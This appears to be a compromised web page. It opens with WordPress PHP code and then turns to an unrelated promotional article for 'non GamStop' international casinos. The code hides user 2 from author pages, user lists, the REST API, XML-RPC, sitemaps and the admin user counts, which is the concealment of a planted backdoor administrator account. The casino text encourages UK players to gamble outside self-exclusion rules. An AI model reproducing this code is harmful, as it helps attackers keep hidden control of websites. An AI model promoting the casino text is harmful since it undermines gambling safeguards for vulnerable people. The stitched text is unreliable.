add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
These platforms operate under international licences rather than UK rules. That means different priorities-and often, more breathing room for the player. The advantages stack up quickly:
None of this is accidental. International casinos compete differently-on flexibility, on speed, on raw variety. For a certain kind of player, that’s irresistible.
Not every operator deserves your attention. The gap between a solid platform and a dodgy one is wide, and the licensing landscape is uneven. Here are the real criteria worth checking before you deposit a pound:
| Criterion | What to Look For |
|---|---|
| Licensing | A recognised licence from Curacao, Malta, or Gibraltar, not an unregulated shell. |
| Bonus terms | Reasonable wagering requirements (under 40x) and no hidden clawback clauses. |
| Game variety | Multiple providers including live dealer games from Evolution or Pragmatic Play. |
| Payment speed | Withdrawals processed within 24 hours, not dragged out over a week. |
| Support quality | Live chat that actually responds in minutes, not a ticket system that vanishes. |
| Responsible gambling | Deposit limits, self-exclusion options, and reality checks-not just a line in the terms. |
Operators that score well across all six tend to be worth your time. Ones that don’t? Move on.
The speed and privacy of your transactions matter more than most players realise. Here’s how the main options stack up, from most practical to least:
Pick your method based on speed first, privacy second, and whatever the casino pushes as “most popular” last. The incentives aren’t always aligned with yours.
International casinos trade one kind of protection for another. You get more freedom and better terms, but the safety net is thinner. No UK ombudsman. No automatic dispute resolution. The responsibility for picking a reputable operator lands squarely on you.
That doesn’t mean these casinos are dangerous. Many are perfectly legitimate, well-regulated, and professionally run. But the margin for error is smaller. A player who chases bonuses without checking the fine print, or who ignores the licence details, has further to fall.
If you’re going to play at a non GamStop casino, treat it like a serious choice, not a casual one. Verify the licence before you deposit. Test customer support with a pointed question before you send a penny. And set your own deposit limits before the site does-or doesn’t-offer you the option. The freedom is real, but it comes with a trade-off: you’re the one keeping the guardrails in place.
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